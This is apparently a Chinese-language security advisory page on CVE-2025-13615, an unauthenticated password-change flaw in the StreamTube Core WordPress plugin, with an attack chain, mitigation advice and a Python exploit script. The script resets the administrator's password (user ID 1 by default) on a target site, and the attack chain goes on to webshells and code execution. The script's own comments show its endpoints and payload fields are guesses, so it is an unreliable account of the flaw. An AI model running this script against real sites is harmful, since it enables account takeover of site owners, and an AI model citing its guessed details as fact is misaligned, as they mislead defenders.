IPBUF安全漏洞报告
English
CVE-2025-13615 CVSS 9.8 严重

CVE-2025-13615 WordPress StreamTube Core插件任意密码修改漏洞

披露日期: 2025-11-30

漏洞信息

漏洞编号
CVE-2025-13615
漏洞类型
访问控制绕过/任意密码修改
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
StreamTube Core plugin for WordPress

相关标签

CVE-2025-13615WordPress插件漏洞访问控制绕过任意密码修改账户接管StreamTube Core严重漏洞无需认证WordPress安全远程代码执行

漏洞概述

CVE-2025-13615是WordPress StreamTube Core插件中的一个严重安全漏洞,CVSS评分高达9.8分(严重级别)。该漏洞允许未认证攻击者绕过授权机制,任意修改用户密码,进而可能接管管理员账户。漏洞根源在于插件提供了用户可控制的访问对象,使得攻击者能够绕过正常的授权检查直接访问系统资源。此漏洞影响StreamTube Core插件4.78及以下所有版本。需要特别注意的是,该漏洞的利用前提是WordPress主题选项中启用了"registration password fields"(注册密码字段)功能。虽然需要满足特定条件,但由于CVSS评分极高且利用难度低,强烈建议所有使用该插件的用户立即采取防护措施。攻击者可以利用此漏洞轻松获取管理员权限,进而完全控制整个WordPress网站,执行任意代码、窃取敏感数据或进行进一步的网络攻击。

技术细节

StreamTube Core插件在处理用户注册和密码修改请求时存在访问控制绕过漏洞。插件通过提供用户可控制的访问对象来管理用户资源,但未能正确验证请求者的身份和权限。攻击者可以利用以下方式利用此漏洞:

1. 插件在处理密码修改请求时,未正确验证当前用户会话或权限状态
2. 攻击者构造恶意请求,指定目标用户ID和新密码
3. 由于插件错误地将用户输入作为可信对象处理,绕过了WordPress原生的用户修改保护机制
4. 攻击者成功修改任意用户密码,包括管理员账户

技术利用细节:攻击者需要构造HTTP POST请求,目标是WordPress的REST API端点或插件的自定义处理脚本。请求中包含目标用户ID和新的密码值。插件未能执行适当的授权检查,导致任何未认证用户都可以执行密码修改操作。攻击者获取管理员密码后,可以登录后台管理面板,上传恶意插件或主题文件,最终实现远程代码执行。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者扫描目标WordPress网站,确认是否安装StreamTube Core插件及其版本(≤4.78)。通过检查插件目录或使用Wappalyzer等工具获取版本信息。
STEP 2
步骤2: 条件验证
确认目标网站主题选项中启用了'registration password fields'功能。攻击者可通过尝试注册流程或查看页面源代码来验证。
STEP 3
步骤3: 构造攻击请求
攻击者构造恶意HTTP请求,目标是插件的密码修改API端点。请求中包含目标用户ID(通常为1,即管理员)和新密码值。
STEP 4
步骤4: 绕过授权
由于插件存在访问控制漏洞,恶意请求绕过正常的用户认证和授权检查,直接到达密码修改处理逻辑。
STEP 5
步骤5: 密码修改
插件处理请求,将指定用户的密码更新为攻击者设定的新密码。WordPress数据库中的用户密码哈希被成功修改。
STEP 6
步骤6: 账户接管
攻击者使用新密码登录目标用户账户(通常是管理员),获取后台访问权限。
STEP 7
步骤7: 持久化控制
攻击者在后台安装恶意插件、上传webshell或修改现有主题文件,建立持久化访问通道,实现远程代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-13615 PoC - StreamTube Core WordPress Plugin Arbitrary Password Change Note: This PoC is for educational and security testing purposes only. """ import requests import sys import argparse from urllib.parse import urljoin def exploit_cve_2025_13615(target_url, target_user_id, new_password): """ Exploit for CVE-2025-13615: StreamTube Core Plugin Arbitrary Password Change Prerequisites: 'registration password fields' must be enabled in theme options """ # WordPress REST API endpoint for user password modification # The vulnerable endpoint depends on plugin implementation endpoints = [ '/wp-json/streamtube/v1/user/password', '/wp-json/wp/v2/users/' + str(target_user_id), '/wp-admin/admin-ajax.php', '/?rest_route=/streamtube/v1/user/update-password' ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/json', 'X-Requested-With': 'XMLHttpRequest' } print(f"[*] Target: {target_url}") print(f"[*] Target User ID: {target_user_id}") print(f"[*] Attempting to change password...") # Method 1: REST API approach for endpoint in endpoints: full_url = urljoin(target_url, endpoint) # Construct the password change payload # The actual payload structure depends on the vulnerable endpoint payload = { 'user_id': target_user_id, 'password': new_password, 'password_confirm': new_password } try: response = requests.post(full_url, json=payload, headers=headers, timeout=10, verify=False) if response.status_code in [200, 201]: print(f"[+] SUCCESS: Password modification request sent to {endpoint}") print(f"[+] Response: {response.text}") return True elif response.status_code == 401: print(f"[-] Endpoint {endpoint} requires authentication") else: print(f"[-] Endpoint {endpoint} returned status {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to {endpoint}: {e}") # Method 2: Direct form submission (if AJAX endpoint) ajax_url = urljoin(target_url, '/wp-admin/admin-ajax.php') ajax_data = { 'action': 'streamtube_change_password', 'user_id': target_user_id, 'new_password': new_password, 'confirm_password': new_password } try: response = requests.post(ajax_url, data=ajax_data, headers=headers, timeout=10, verify=False) if response.status_code == 200 and 'success' in response.text.lower(): print(f"[+] SUCCESS: AJAX password change exploited") return True except: pass print("[-] Exploitation failed - target may not be vulnerable or conditions not met") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-13615 PoC') parser.add_argument('-t', '--target', required=True, help='Target WordPress URL') parser.add_argument('-u', '--user-id', type=int, default=1, help='Target user ID (default: 1 for admin)') parser.add_argument('-p', '--password', default='P@ssw0rd123!', help='New password') args = parser.parse_args() exploit_cve_2025_13615(args.target, args.user_id, args.password)

影响范围

StreamTube Core plugin for WordPress ≤ 4.78

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:首先,立即禁用StreamTube Core插件或将其替换为功能相似的安全插件;其次,临时关闭主题选项中的注册密码字段功能;第三,在Web应用防火墙中创建规则阻止包含user_id和password参数的异常POST请求;第四,加强管理员账户安全,启用双因素认证并使用强密码;第五,定期检查WordPress用户列表,确保没有未授权的账户创建或密码修改行为;最后,限制wp-admin和XML-RPC接口的访问,只允许受信任的IP地址访问后台管理功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表